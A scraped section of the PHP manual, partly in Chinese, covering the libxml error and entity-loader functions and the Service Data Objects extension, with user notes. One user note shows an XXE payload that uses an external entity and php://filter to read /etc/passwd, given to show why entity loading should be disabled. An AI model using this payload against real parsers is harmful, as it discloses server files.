libxml_disable_entity_loader ([ bool $disable = TRUE ] ) : bool

Disable/enable the ability to load external entities.

参数

disable

Disable (TRUE) or enable (FALSE) libxml extensions (such as DOM, XMLWriter and XMLReader) to load external entities.

返回值

Returns the previous value.

参见

  • libxml_use_internal_errors() - Disable libxml errors and allow user to fetch error information as needed
  • The LIBXML_NONET constant

User Contributed Notes

vavra at 602 dot cz 04-Jan-2018 09:48
If is called
libxml_disable_entity_loader(true);

, it causes that new SoapClient(.) fails with

SOAP-ERROR: Parsing WSDL: Couldn't load from 'D:\path/dm_operations.wsdl' : failed to load external entity "D:\path/dm_operations.wsdl

because this wsdl imports a xsd as an another external file.
Tested on php 7.1.12, win x64.
brendan at bloodbone dot ws 25-Mar-2014 10:23
This also seems to have an impact on <xsl:import /> statements if this is applied when loading XSLT for the XSLTProcessor class.
phofstetter at sensational dot ch 27-Jan-2014 04:36
Be mindful that this also disables url loading in simplexml_load_file() and likely other libxml based functions that deal with URLs
daschtour at me dot com 25-Dec-2013 11:56
This function was reported to be not thread safe. So this might affect php-scripts on the same server.
simonsimcity 29-Feb-2012 06:23
Using this function you can prevent a vulnerable to Local and Remote File Inclusion attacks.

You'll see it in an example where I load and validate the following string:

<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<scan>&test;</scan>

One way to prevent that the file in given back is to set this value to 0.
Please take a closer look at the release of symfony 2.0.11


Retrieve array of errors

  • ? libxml_disable_entity_loader
  • libxml_get_last_error ?
  • PHP Manual
  • libxml 函数
  • Retrieve array of errors

libxml_get_errors

(PHP 5 >= 5.1.0, PHP 7)

libxml_get_errors — Retrieve array of errors

说明

libxml_get_errors ( void ) : array

Retrieve array of errors.

返回值

Returns an array with LibXMLError objects if there are any errors in the buffer, or an empty array otherwise.

范例

Example #1 A libxml_get_errors() example

This example demonstrates how to build a simple libxml error handler.

<?php

libxml_use_internal_errors(true);

$xmlstr = <<< XML
<?xml version='1.0' standalone='yes'?>
<movies>
 <movie>
  <titles>PHP: Behind the Parser</title>
 </movie>
</movies>
XML;

$doc = simplexml_load_string($xmlstr);
$xml = explode("\n", $xmlstr);

if ($doc === false) {
    $errors = libxml_get_errors();

    foreach ($errors as $error) {
        echo display_xml_error($error, $xml);
    }

    libxml_clear_errors();
}

function display_xml_error($error, $xml)
{
    $return  = $xml[$error->line - 1] . "\n";
    $return .= str_repeat('-', $error->column) . "^\n";

    switch ($error->level) {
        case LIBXML_ERR_WARNING:
            $return .= "Warning $error->code: ";
            break;
         case LIBXML_ERR_ERROR:
            $return .= "Error $error->code: ";
            break;
        case LIBXML_ERR_FATAL:
            $return .= "Fatal Error $error->code: ";
            break;
    }

    $return .= trim($error->message) .
               "\n  Line: $error->line" .
               "\n  Column: $error->column";

    if ($error->file) {
        $return .= "\n  File: $error->file";
    }

    return "$return\n\n--------------------------------------------\n\n";
}

?>

以上例程会输出：

  <titles>PHP: Behind the Parser</title>
----------------------------------------------^
Fatal Error 76: Opening and ending tag mismatch: titles line 4 and title
  Line: 4
  Column: 46

--------------------------------------------

参见

  • libxml_get_last_error() - Retrieve last error from libxml
  • libxml_clear_errors() - Clear libxml error buffer

User Contributed Notes

lech 29-Jul-2017 12:12
Please beware that the column property seems almost always to be invalid. I thought it only occurred when the line in question was long (and I was just about to submit a bug report with an example), however, at the time of posting, you can even see the problem in the example provided on this page: line 4 does not even have 46 characters. Where the XML line is long, the difference can be very large.

This property comes from the libxml extension, so in any case I don't think this is a PHP bug, however it is worth knowing that the value might be totally unreliable to save some confusion.

The PHP documentation page for the libXMLError class gives some indication, stating:

"This property isn't entirely implemented in libxml and therefore 0 is often returned."

(My libxml version: 2.9.1)


Retrieve last error from libxml

  • ? libxml_get_errors
  • libxml_set_external_entity_loader ?
  • PHP Manual
  • libxml 函数
  • Retrieve last error from libxml

libxml_get_last_error

(PHP 5 >= 5.1.0, PHP 7)

libxml_get_last_error — Retrieve last error from libxml

说明

libxml_get_last_error ( void ) : LibXMLError

Retrieve last error from libxml.

返回值

Returns a LibXMLError object if there is any error in the buffer, FALSE otherwise.

参见

  • libxml_get_errors() - Retrieve array of errors
  • libxml_clear_errors() - Clear libxml error buffer

User Contributed Notes

There are no user contributed notes for this page.


Changes the default external entity loader

  • ? libxml_get_last_error
  • libxml_set_streams_context ?
  • PHP Manual
  • libxml 函数
  • Changes the default external entity loader

libxml_set_external_entity_loader

(PHP 5 >= 5.4.0, PHP 7)

libxml_set_external_entity_loader — Changes the default external entity loader

说明

libxml_set_external_entity_loader ( callable $resolver_function ) : bool

Changes the default external entity loader.

参数

resolver_function

A callable that takes three arguments. Two strings, a public id and system id, and a context (an array with four keys) as the third argument. This callback should return a resource, a string from which a resource can be opened, or NULL.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 libxml_set_external_entity_loader() example

<?php
$xml = <<<XML
<!DOCTYPE foo PUBLIC "-//FOO/BAR" "http://example.com/foobar">
<foo>bar</foo>
XML;

$dtd = <<<DTD
<!ELEMENT foo (#PCDATA)>
DTD;

libxml_set_external_entity_loader(
    function ($public, $system, $context) use($dtd) {
        var_dump($public);
        var_dump($system);
        var_dump($context);
        $f = fopen("php://temp", "r+");
        fwrite($f, $dtd);
        rewind($f);
        return $f;
    }
);

$dd = new DOMDocument;
$r  = $dd->loadXML($xml);

var_dump($dd->validate());
?>

以上例程会输出：

string(10) "-//FOO/BAR"
string(25) "http://example.com/foobar"
array(4) {
    ["directory"]    => NULL
    ["intSubName"]   => NULL
    ["extSubURI"]    => NULL
    ["extSubSystem"] => NULL
}
bool(true)

参见

  • libxml_disable_entity_loader() - Disable the ability to load external entities

User Contributed Notes

There are no user contributed notes for this page.


Set the streams context for the next libxml document load or write

  • ? libxml_set_external_entity_loader
  • libxml_use_internal_errors ?
  • PHP Manual
  • libxml 函数
  • Set the streams context for the next libxml document load or write

libxml_set_streams_context

(PHP 5, PHP 7)

libxml_set_streams_context — Set the streams context for the next libxml document load or write

说明

libxml_set_streams_context ( resource $streams_context ) : void

Sets the streams context for the next libxml document load or write.

参数

streams_context

The stream context resource (created with stream_context_create())

返回值

没有返回值。

范例

Example #1 A libxml_set_streams_context() example

<?php

$opts = array(
    'http' => array(
        'user_agent' => 'PHP libxml agent',
    )
);

$context = stream_context_create($opts);
libxml_set_streams_context($context);

// request a file through HTTP
$doc = DOMDocument::load('http://www.example.com/file.xml');

?>

参见

  • stream_context_create() - 创建资源流上下文

User Contributed Notes

There are no user contributed notes for this page.


Disable libxml errors and allow user to fetch error information as needed

  • ? libxml_set_streams_context
  • SDO ?
  • PHP Manual
  • libxml 函数
  • Disable libxml errors and allow user to fetch error information as needed

libxml_use_internal_errors

(PHP 5 >= 5.1.0, PHP 7)

libxml_use_internal_errors — Disable libxml errors and allow user to fetch error information as needed

说明

libxml_use_internal_errors ([ bool $use_errors = FALSE ] ) : bool

libxml_use_internal_errors() allows you to disable standard libxml errors and enable user error handling.

参数

use_errors

Enable (TRUE) user error handling or disable (FALSE) user error handling. Disabling will also clear any existing libxml errors.

返回值

This function returns the previous value of use_errors.

范例

Example #1 A libxml_use_internal_errors() example

This example demonstrates the basic usage of libxml errors and the value returned by this function.

<?php

// enable user error handling
var_dump(libxml_use_internal_errors(true));

// load the document
$doc = new DOMDocument;

if (!$doc->load('file.xml')) {
    foreach (libxml_get_errors() as $error) {
        // handle errors here
    }

    libxml_clear_errors();
}

?>

以上例程会输出：

bool(false)

参见

  • libxml_clear_errors() - Clear libxml error buffer
  • libxml_get_errors() - Retrieve array of errors

User Contributed Notes

marcovtwout 07-May-2013 01:05
When using libxml_use_internal_errors(true), and perform a possibly memory intensive operation like simplexml_load_string() next, you might end up with a blank screen and no php error logged because the error message been suppressed.
james at dunmore dot me dot uk 21-Aug-2008 03:03
We use a custom error handler using  set_error_handler()  I found that after I call

libxml_use_internal_errors(false);

It resets my error_handler - not sure if this is a bug or not, I will report it as a bug - however, I needed to repeat my call to set_error_handler

(did confuse me for a while)
B Crawford 03-Oct-2007 06:22
When using this funtion, be sure to clear your internal error buffer. If you dn't and you are using this in a long running process, you may find that all your memory is used up.


Service Data Objects

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Limitations
  • 范例
    • Basic usage
    • Setting and Getting Property Values
    • Working with Sequenced Data Objects
    • Reflecting on Service Data Objects
  • SDO 函数
    • SDO_DAS_ChangeSummary::beginLogging — Begin change logging
    • SDO_DAS_ChangeSummary::endLogging — End change logging
    • SDO_DAS_ChangeSummary::getChangeType — Get the type of change made to an SDO_DataObject
    • SDO_DAS_ChangeSummary::getChangedDataObjects — Get the changed data objects from a change summary
    • SDO_DAS_ChangeSummary::getOldContainer — Get the old container for a deleted SDO_DataObject
    • SDO_DAS_ChangeSummary::getOldValues — Get the old values for a given changed SDO_DataObject
    • SDO_DAS_ChangeSummary::isLogging — Test to see whether change logging is switched on
    • SDO_DAS_DataFactory::addPropertyToType — Adds a property to a type
    • SDO_DAS_DataFactory::addType — Add a new type to a model
    • SDO_DAS_DataFactory::getDataFactory — Get a data factory instance
    • SDO_DAS_DataObject::getChangeSummary — Get a data object's change summary
    • SDO_DAS_Setting::getListIndex — Get the list index for a changed many-valued property
    • SDO_DAS_Setting::getPropertyIndex — Get the property index for a changed property
    • SDO_DAS_Setting::getPropertyName — Get the property name for a changed property
    • SDO_DAS_Setting::getValue — Get the old value for the changed property
    • SDO_DAS_Setting::isSet — Test whether a property was set prior to being modified
    • SDO_DataFactory::create — Create an SDO_DataObject
    • SDO_DataObject::clear — Clear an SDO_DataObject's properties
    • SDO_DataObject::createDataObject — Create a child SDO_DataObject
    • SDO_DataObject::getContainer — Get a data object's container
    • SDO_DataObject::getSequence — Get the sequence for a data object
    • SDO_DataObject::getTypeName — Return the name of the type for a data object
    • SDO_DataObject::getTypeNamespaceURI — Return the namespace URI of the type for a data object
    • SDO_Exception::getCause — Get the cause of the exception
    • SDO_List::insert — Insert into a list
    • SDO_Model_Property::getContainingType — Get the SDO_Model_Type which contains this property
    • SDO_Model_Property::getDefault — Get the default value for the property
    • SDO_Model_Property::getName — Get the name of the SDO_Model_Property
    • SDO_Model_Property::getType — Get the SDO_Model_Type of the property
    • SDO_Model_Property::isContainment — Test to see if the property defines a containment relationship
    • SDO_Model_Property::isMany — Test to see if the property is many-valued
    • SDO_Model_ReflectionDataObject::__construct — Construct an SDO_Model_ReflectionDataObject
    • SDO_Model_ReflectionDataObject::export — Get a string describing the SDO_DataObject
    • SDO_Model_ReflectionDataObject::getContainmentProperty — Get the property which defines the containment relationship to the data object
    • SDO_Model_ReflectionDataObject::getInstanceProperties — Get the instance properties of the SDO_DataObject
    • SDO_Model_ReflectionDataObject::getType — Get the SDO_Model_Type for the SDO_DataObject
    • SDO_Model_Type::getBaseType — Get the base type for this type
    • SDO_Model_Type::getName — Get the name of the type
    • SDO_Model_Type::getNamespaceURI — Get the namespace URI of the type
    • SDO_Model_Type::getProperties — Get the SDO_Model_Property objects defined for the type
    • SDO_Model_Type::getProperty — Get an SDO_Model_Property of the type
    • SDO_Model_Type::isAbstractType — Test to see if this SDO_Model_Type is an abstract data type
    • SDO_Model_Type::isDataType — Test to see if this SDO_Model_Type is a primitive data type
    • SDO_Model_Type::isInstance — Test for an SDO_DataObject being an instance of this SDO_Model_Type
    • SDO_Model_Type::isOpenType — Test to see if this type is an open type
    • SDO_Model_Type::isSequencedType — Test to see if this is a sequenced type
    • SDO_Sequence::getProperty — Return the property for the specified sequence index
    • SDO_Sequence::insert — Insert into a sequence
    • SDO_Sequence::move — Move an item to another sequence position

User Contributed Notes

There are no user contributed notes for this page.


简介

Service Data Objects (SDOs) enable PHP applications to work with data from different sources (like a database query, an XML file, and a spreadsheet) using a single interface.

Each different kind of data source requires a Data Access Service (DAS) to provide access to the data in the data source. In your PHP application, you use a DAS to create an SDO instance that represents some data in the data source. You can then set and get values in the SDO instance using the standard SDO interface. Finally, you use a DAS to write the modified data back to a data source, typically the same one.

See the list of Data Access Services for details on those currently available. In addition to the provided DASs, SDO also provides interfaces to enable others to be implemented (see the section on SDO Data Access Services Interface for more details).

This extension is derived from concepts taken from the » Service Data Objects specification. It includes a version of the » Apache Tuscany SDO for C++ project.

The Structure of a Service Data Object

A Service Data Object instance is made up of a tree of data objects. The tree is defined by containment relationships between the data objects. For example, a Company data object might consist of a number of Department data objects and therefore the Company would have a containment relationship to the Departments.

An SDO may also have non-containment references between data objects in the tree. For example, one Employee data object might reference another Employee to identify a career mentor.

As well as data objects referencing each other, they can also have primitive properties. For example, the Company data object might have a property called "name" of type string, for holding the name of the company (for example, "Acme").

Each of these properties of a data object - containment relationships, non-containment references, or primitive properties - may be many-valued or single-valued. In the above examples, Departments is many-valued and the Company name is single-valued.

In PHP, each SDO data object is represented as a PHP object. The properties of the data object can be accessed using either object syntax or associative array syntax. We'll see some examples of this later.

User Contributed Notes

There are no user contributed notes for this page.


需求

The SDO extension requires PHP 5.1.0 or higher. It also requires the libxml2 library. Normally libxml2 will already be installed, but if not, it can be downloaded from » http://www.xmlsoft.org/.

User Contributed Notes

pallsopp at gmail dot com 26-Aug-2012 05:47
That is not strictly true!

Make these changes and it will compile just fine.

If using with PHP >= 5.3.0, you need to make the following source code
changes:

remove all "static" except "static char rcs_id[] ..." from sdo.cpp.

Add #include <stdio.h> to commonj/sdo/SDODataConverter.cpp

/usr/local/lib/php/SCA/SCA_CommentReader.php
  Line 381: $targetLine = preg_replace("{[ \t]+}", " ", $targetLine);
  Line 385: if (strpos($word,$bindingAnnotation) === 0) {
  Line 592: $targetLine = preg_replace("{[ \t]+}", " ", $targetLine);

/usr/local/lib/php/SCA/SCA_AnnotationRules.php
  Line 222:  $line         = preg_replace("{[ \t]+}", " ", $line);

I did exactly that on a 64bit CentOS box and it works fine.
jerrywilborn at gmail dot com 21-Apr-2011 09:57
The extension does not compile against PHP 5.3.  Additionally, it uses SoapServer::setObject() which has only been available since PHP 5.2.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/sca_sdo.

Note:

Earlier versions of the SDO extension required a separate shared library for the XML DAS. This is now obsolete and any references to php_sdo_das_xml.dll or sdo_das_xml.so should be removed from your php.ini.

Unix systems

  1. The three SDO components - the SDO core, the XML DAS and the Relational DAS - are packaged together with Service Component Architecture (SCA) into one PECL project, SCA_SDO, so you can download SCA and all three parts of SDO with the command:

    pecl install SCA_SDO

    This command will build the SDO shared library as well as installing the PHP files that make up SCA and the SDO Relational DAS.

    If you want to use the latest beta version, then instead run:

    pecl install SCA_SDO-beta

  2. The pecl command automatically installs the SDO module into your PHP extensions directory. To enable the SDO extension you must add the following line to php.ini:

    extension=sdo.so

    For more information about building PECL packages, consult the PECL installation section of the manual.

Building SDO on Linux

This section describes how to build the SDO core and XML DAS on Linux. You would only need to know how to do this if you wish to build a recent version that you have checked out of SVN.

  1. Change to the main extension directory: cd < wherever your sdo code is >

  2. Run phpize, which will set up the environment to compile SDO.

  3. Next, run ./configure; make; make install. Please note, you may need to login as root to install the extension.

  4. Make sure that the module is loaded by PHP, by adding extension=sdo.so to your php.ini file.

User Contributed Notes

Trouble with sdo 19-Sep-2012 10:46
It is a shame they haven't upgraded this package. However, there is a update on github so that it will compile on php 5.3. Unfortunately it still doesn't compile on a Mac, because is uses a preprocessor macro (__WORDSIZE) which is not defined. I just assumed it to be 32b, and edited the code accordingly (using CloCkWeRX's branch).
arvenil at klecza dot pl 04-Sep-2012 07:34
This extension doesn't compile anymore https://bugs.php.net/bug.php?id=58951


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SDO_DAS_ChangeSummary::NONE=0 (integer)
Represents a change type of 'none'.
SDO_DAS_ChangeSummary::MODIFICATION=1 (integer)
Represents a change type of 'modification'.
SDO_DAS_ChangeSummary::ADDITION=2 (integer)
Represents a change type of 'addition'.
SDO_DAS_ChangeSummary::DELETION=3 (integer)
Represents a change type of 'deletion'.

User Contributed Notes

There are no user contributed notes for this page.


Limitations

Implementation Limitations

The following are limitations in the current SDO implementation:

  1. There is no support for multi-byte character sets. This will be considered, depending on community requirements, in a Unicode-enabled version of PHP.

SDO Limitations

The following SDO 2.0 concepts are not supported in the current PHP implementation. It is not necessarily the case that these will all be added over time. Their inclusion will depend on community requirements.

  1. Bi-directional relationships.

  2. Type and property alias names.

  3. Read-only properties.

  4. The Helper classes defined in SDO 2.0 are not directly implemented. However equivalent function is provided in a more natural way for PHP. For example the function of CopyHelper::copy() is provided by applying the PHP clone keyword to a data object.

User Contributed Notes

There are no user contributed notes for this page.


范例

Table of Contents

  • Basic usage
  • Setting and Getting Property Values
  • Working with Sequenced Data Objects
  • Reflecting on Service Data Objects

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

The examples below assume an SDO created with the schema and instance information shown below, using the XML Data Access Service.

The instance document below describes a single company, called 'MegaCorp', which contains a single department, called 'Advanced Technologies'. The Advanced Technologies department contains three employees. The company employeeOfTheMonth is referencing the second employee, 'Jane Doe'.

<?xml version="1.0" encoding="UTF-8" ?>
<company xmlns="companyNS" name="MegaCorp"
  employeeOfTheMonth="E0003">
  <departments name="Advanced Technologies" location="NY" number="123">
    <employees name="John Jones" SN="E0001"/>
    <employees name="Jane Doe" SN="E0003"/>
    <employees name="Al Smith" SN="E0004" manager="true"/>
  </departments>
</company>

The root element of the schema is a company. The company contains departments, and each department contains employees. Each element has a number of attributes to store things like name, serial number, and so on. Finally, the company also has an IDREF attribute which identifies one of the employees as the 'employeeOfTheMonth'.

<xsd:schema
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:sdo="commonj.sdo"
  xmlns:sdoxml="commonj.sdo/xml"
  xmlns:company="companyNS"
  targetNamespace="companyNS">
  <xsd:element name="company" type="company:CompanyType"/>
  <xsd:complexType name="CompanyType">
    <xsd:sequence>
      <xsd:element name="departments" type="company:DepartmentType"
        maxOccurs="unbounded"/>
    </xsd:sequence>
    <xsd:attribute name="name" type="xsd:string"/>
    <xsd:attribute name="employeeOfTheMonth" type="xsd:IDREF"
      sdoxml:propertyType="company:EmployeeType"/>
  </xsd:complexType>
  <xsd:complexType name="DepartmentType">
    <xsd:sequence>
      <xsd:element name="employees" type="company:EmployeeType"
        maxOccurs="unbounded"/>
    </xsd:sequence>
    <xsd:attribute name="name" type="xsd:string"/>
    <xsd:attribute name="location" type="xsd:string"/>
    <xsd:attribute name="number" type="xsd:int"/>
  </xsd:complexType>
  <xsd:complexType name="EmployeeType">
    <xsd:attribute name="name" type="xsd:string"/>
    <xsd:attribute name="SN" type="xsd:ID"/>
    <xsd:attribute name="manager" type="xsd:boolean"/>
  </xsd:complexType>
</xsd:schema>

The XML Data Access Service maps the schema to an SDO. Attributes such as "name" become primitive properties, the sequence of employees becomes a many-valued containment relationship, and so on. Note that the containment relationships are expressed as one complex type within another, whereas non-containment references are expressed in terms of ID and IDREF, with a special sdoxml:propertyType attribute specifying the type of the non-containment reference.

User Contributed Notes

There are no user contributed notes for this page.


Setting and Getting Property Values

The following examples assume $company is the root of a tree of data objects created from the schema and instance document shown above.

Example #1 Access via property name

Data object properties can be accessed using the object property access syntax. The following sets the company name to 'Acme'.

<?php
$company->name = 'Acme';
?>

Example #2 Access via property name as array index

We can also access properties using associative array syntax. The simplest form of this uses the property name as the array index. For example, the following sets the company name and gets the employeeOfTheMonth.

<?php
$company['name'] = 'UltraCorp';
$eotm = $company['employeeOfTheMonth'];
?>

Example #3 Data Object iteration

We can iterate over the properties of a data object using foreach. The following iterates over the properties of the employee of the month.

<?php
  $eotm = $company->employeeOfTheMonth;
  foreach ($eotm as $name => $value) {
      echo "$name: $value\n";
  }
?>

which will output:

name: Jane Doe
SN: E0003

The 'manager' property is not output, because it has not been set.

Example #4 Access many-valued property by name

Many-valued data object properties can also be accessed using the object property name syntax. The following gets the list of departments.

<?php
$departments = $company->departments;
?>

Example #5 Many-valued element access

We can access individual elements of many-valued properties using array syntax. The following accesses the first department in the company.

<?php
$ad_tech_dept = $company->departments[0];
?>

Example #6 Many-valued property iteration

Many-valued properties can also be iterated over using foreach. The following iterates over the company's departments.

<?php
  foreach ($company->departments as $department) {
    // ...
  }
?>

Each iteration will assign the next department in the list to the variable $department.

Example #7 Chained property access

We can chain property references on a single line. The following sets and gets the name of the first department.

<?php
  $company->departments[0]->name = 'Emerging Technologies';
  $dept_name = $company->departments[0]->name;
?>

Using the associative array syntax, this is equivalent to

<?php
  $company['departments'][0]['name'] = 'Emerging Technologies';
  $dept_name = $company['departments'][0]['name'];
?>

In either case, the dept_name variable is set to 'Emerging Technologies'.

Example #8 XPath navigation

The associative array index can be an XPath-like expression. Valid expressions are defined by an augmented sub-set of XPath.

Two forms of indexing into many-valued properties are supported. The first is the standard XPath array syntax with the indexing starting at one, the second is an SDO extension to XPath with an index starting at zero. The standard syntax is:

<?php
  $jane_doe = $company["departments[1]/employees[2]"];
?>

and the SDO XPath extension syntax is:

<?php
  $jane_doe = $company["departments.0/employees.1"];
?>

Both these examples get the second employee from the first department.

Example #9 XPath querying

We can use XPath to query and identify parts of a data object based on instance data. The following retrieves the manager from the 'Advanced Technologies' department.

<?php
 $ad_tech_mgr =
  $company["departments[name='Advanced Technologies']/employees[manager=true]"];
?>

Example #10 Creating child data objects

A data object can be a factory for its child data objects. A child data object is automatically part of the data graph. The following add a new employee to the 'Advanced Technologies' department.

<?php
  $ad_tech_dept = $company["departments[name='Advanced Technologies']"];
  $new_hire = $ad_tech_dept->createDataObject('employees');
  $new_hire->name = 'John Johnson';
  $new_hire->SN = 'E0005';
  $new_hire->manager = false;
?>

Example #11 Unset a primitive property

We can use the isset() and unset() functions to test and remove items from the data object.

The following clears the name of the first department.

<?php
  unset($company->departments[0]->name);
?>

Example #12 Unset a data object

unset can also be used to remove a data object from the tree. The following example shows John Jones leaving the company.

<?php
  unset($company->departments[0]->employees[0]);
?>

Example #13 Unset a referenced data object

The following removes the 'employeeOfTheMonth' from the company. If this were a containment relationship then the employee would be removed from the company (probably not a good idea to sack your best employee each month!), but since this is a non-containment reference, the employee being referenced will remain in the department in the company, but will no longer be accessible via the employeeOfTheMonth property.

<?php
  if (isset($company->employeeOfTheMonth)) {
    unset($company->employeeOfTheMonth);
  }
?>

Example #14 Access via property index

Data object properties can be accessed via their property index using array syntax. The property index is the position at which the property's definition appears in the model (in this case the xml schema). We can see from the schema listing above that the company name attribute is the second company property (the SDO interface makes no distinction between XML attributes and elements). The following sets the company name to 'Acme', with the same result as Access via property name

<?php
  $company[1] = 'Acme';
?>

Using the index directly in this way is likely to be fragile. Normally the property name syntax should be preferred, but the property index may be required in special cases.

User Contributed Notes

Malcolm Murphy 27-Aug-2016 05:05
You can also use curly brackets to evaluate property names (e.g., to access a property name containing special [non-standard] characters without first needing to assign the name to a variable).

<?php

$object = new StdClass();

// standard access using variable
$nonStandardPropertyName = '/a/path?for=example';
$object->$nonStandardPropertyName = 'access using a variable';

// alternative access using curly braces
$object->{'/a/path?for=example'} = 'set using curly braces';
lists at lnx-bsp dot net 16-Apr-2015 12:20
See also: $this pseudo-variable, http://php.net/manual/en/language.oop5.basic.php

In addition, when inside a class method function, indirect access to object properties also works:

<?php
    $name = 'departments';
    $departments = $this->$name;
    $this->$name = $different;
?>


Working with Sequenced Data Objects

Sequenced data objects are SDOs which can track property ordering across the properties of a data object. They can also contain unstructured text elements (text element which do not belong to any of the SDO's properties). Sequenced data objects are useful for working with XML documents which allow unstructured text (i.e. mixed=true) or if the elements can be interleaved (

<A/><B/><A/>
). This can occur for example when the schema defines maxOccurs>1 on a element which is a complexType with a choice order indicator.

The examples below assume an SDO created with the following schema and instance information, using the XML Data Access Service.

The schema below describes the format of a letter. The letter can optionally contain three properties; date, firstName, and lastName. The schema states mixed="true" which means that unstructured text can be interspersed between the three properties.

<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:letter="http://letterSchema"
  targetNamespace="http://letterSchema">
  <xsd:element name="letters" type="letter:FormLetter"/>
  <xsd:complexType name="FormLetter" mixed="true">
    <xsd:sequence>
      <xsd:element name="date" minOccurs="0" type="xsd:string"/>
      <xsd:element name="firstName" minOccurs="0" type="xsd:string"/>
      <xsd:element name="lastName" minOccurs="0" type="xsd:string"/>
    </xsd:sequence>
  </xsd:complexType>
</xsd:schema>

The following is an instance letter document. It contains the three letter properties; date, firstName and lastName, and has unstructured text elements for the address and letter body.

<letter:letters xmlns:letter="http://letterSchema">
  <date>March 1, 2005</date>
  Mutual of Omaha
  Wild Kingdom, USA
  Dear
  <firstName>Casy</firstName>
  <lastName>Crocodile</lastName>
  Please buy more shark repellent.
  Your premium is past due.
</letter:letters>

When loaded, the letter data object will have the sequence and property indices shown in the table below:

Sequence Index | Property Index:Name | Value
0 | 0:date | March 1, 2005
1 | - | Mutual of Omaha
2 | - | Wild Kingdom, USA
3 | - | Dear
4 | 1:firstName | Casy
5 | 2:lastName | Crocodile
6 | - | Please buy more shark repellent.
7 | - | Your premium is past due.

To ensure sequence indices are maintained, sequenced data objects should be manipulated through the SDO_Sequence interface. This allows the data object's instance data to be manipulated in terms of the sequence index as opposed to the property index (shown in the table above). The following examples assume the letter instance has been loaded into a data object referenced by the variable $letter.

Example #1 Getting the SDO_Sequence interface

We obtain a data object's sequence using the getSequence() method. The follow gets the sequence for the letter data object.

<?php
  $letter_seq = $letter->getSequence();
?>

All subsequent examples assume that the $letter_seq variable has been assigned the sequence for the letter data object.

Example #2 Get/set sequence values

We can get and set individual values (including unstructured text) using the sequence index. The following sets the firstName to 'Snappy' and gets the last sequence values (the unstructured text, 'Your premium is past due.').

<?php
  $letter_seq[4] = 'Snappy';
  $text = $letter_seq[count($letter_seq) - 1];
?>

Example #3 Sequence iteration

We can iterate through the individual sequence values using foreach. The following runs through the individual values in sequence order.

<?php
foreach ($letter->getSequence() as $value) {
    // ...
}
?>

Example #4 Sequence versus Data Object

Setting values through the data object interface may result in the value not being part of the sequence. A value set through the data object will only be accessible through the sequence if the property was already part of the sequence. The following example sets the lastName through the data object and gets it through the sequence. This is fine because lastName already exists in the sequence. If it had not previously been set, then lastName would be set to 'Smith', but would not be part of the sequence.

<?php
  $letter[2] = 'Smith';
  $last_name = $letter_seq[5];
?>

Example #5 Adding to a sequence

We can add new values to a sequence using the SDO_Sequence::insert() method. The following examples assume that the 'firstName' and 'lastName' properties are initially unset.

<?php
  // Append a firstName value to the sequence
  // value: 'Smith'
  // sequence index: NULL (append)
  // propertyIdentifier: 1 (firtName property index)
  $letter_seq->insert('Smith', NULL, 1);

  // Append a lastName value to the sequence
  // value: 'Jones'
  // sequence index: NULL (append)
  // propertyIdentifier: 'lastName' (lastName property name)
  $letter_seq->insert('Jones', NULL, 'lastName');

  // Append unstructured text
  // value: 'Cancel Subscription.'
  // sequence index: absent (append)
  // propertyIdentifier: absent (unstructured text)
  $letter_seq->insert('Cancel Subscription.');

  // Insert new unstructured text.  Subsequent sequence values
  // are shifted up.
  // value: 'Care of:'
  // sequence index: 1 (insert as second element)
  // propertyIdentifier: absent (unstructured text)
  $letter_seq->insert('Care of:', 1);
?>

Example #6 Removing from a sequence

We can use the isset() and unset() functions to test and remove items from the sequence (Note: unset() currently leaves the values in the data object, but this behaviour is likely to change to also remove the data from the data object). A sequence behaves like a contiguous list; therefore, removing items from the middle will shift entries at higher indices down. The following example tests to see if the first sequence element is set and unsets it if is.

<?php
  if (isset($letter_seq[0])) {
    unset($letter_seq[0]);
  }
?>

User Contributed Notes

There are no user contributed notes for this page.


Reflecting on Service Data Objects

SDOs have a knowledge of the structure they have been created to represent (the model). For example, a Company SDO created using the Company XML schema above would only be permitted to contain DepartmentType data objects which in turn could only contain EmployeeType data objects.

Sometimes it is useful to be able to access this model information at runtime. For example, this could be used to automatically generate a user interface for populating a data object. The model information is accessed using reflection.

Example #1 Reflecting on a Data Object

The following example shows how we can reflect on an empty Employee data object.

<?php
  // Create the employee data object (e.g. from an XML Data Access Service)
  $employee = ...;
  $reflection = new SDO_Model_ReflectionDataObject($employee);
  print($reflection);
?>

以上例程会输出：

object(SDO_Model_ReflectionDataObject)#4 { - ROOT OBJECT - Type {
companyNS:EmployeeType[3] { commonj.sdo:String $name;
commonj.sdo:String $SN; commonj.sdo:Boolean $manager; } }

Using print on the SDO_Model_ReflectionDataObject writes out the data object's model. We can see from the output how the type companyNS:EmployeeType has three properties and we can see the names of the properties along with their types. Note, the primitive types are listed as SDO types (e.g. commonj.sdo namespace, String type). It is worth noting that this is the SDO model and when these are surfaced to an application they can be treated as the PHP equivalent types (e.g. string and boolean).

Example #2 Accessing the type information

We can query the type information of a data object using reflection. The following example checks the type corresponds to a data object rather than a primitive and then iterates through the properties of the type, writing out the name of each property ($type and $property are SDO_Model_Type and SDO_Model_Property objects, respectively).

<?php
    // Create the employee data object (e.g. from an XML Data Access Service)
    $employee = ...;
    $reflection = new SDO_Model_ReflectionDataObject($employee);
    $type = $reflection->getType();
    if (! $type->isDataType()) {
        foreach ($type->getProperties() as $property) {
            print $property->getName() . "\n";
        }
    }
?>

以上例程会输出：

name
SN
manager

User Contributed Notes

There are no user contributed notes for this page.


SDO 函数

Data Access Services

The table below lists the currently provided SDO Data Access Services:

DAS Name | Description
SDO_DAS_XML | An XML Data Access Service supporting reading/writing SDOs as XML documents.
SDO_DAS_Relational | A PDO-based Data Access Service supporting reading/writing SDO to relational databases. Implements an optimistic concurrency policy for updates.

预定义类

